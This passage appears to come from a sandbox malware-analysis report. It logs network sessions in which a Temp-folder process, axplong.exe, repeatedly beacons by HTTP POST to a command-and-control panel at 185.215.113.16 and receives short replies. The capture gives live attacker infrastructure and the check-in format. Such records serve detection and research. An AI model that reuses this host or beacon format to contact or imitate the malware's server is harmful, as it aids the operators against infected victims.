r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:30.479671955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	65085	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:30.593281031 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:31.315900087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:31.316760063 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:31.546283960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	65086	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:31.654573917 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:32.382282019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:32.383268118 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:32.614095926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	65087	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:32.734601974 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:33.427792072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:33.428626060 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:33.657365084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	65088	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:33.778311968 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:34.510302067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:34.511203051 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:34.742978096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	65089	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:34.856751919 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:35.597928047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:35.599411011 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:35.837348938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	65090	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:35.950443029 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:36.663297892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:36.664252043 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:36.892077923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	65091	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:37.012895107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:37.726901054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:37.727931023 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:37.955261946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	65092	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:38.075675964 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:38.802963018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:38.806350946 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:39.039230108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	65093	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:39.153304100 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:39.862570047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:39.863419056 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:40.094299078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	65094	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:40.254718065 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:40.922092915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:40.922971964 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:41.145962000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	65095	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:41.262888908 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:41.980412960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:41.981540918 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:42.213536024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	65096	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:42.325505972 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:43.016122103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:43.049483061 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:43.271697044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	65097	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:43.403157949 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
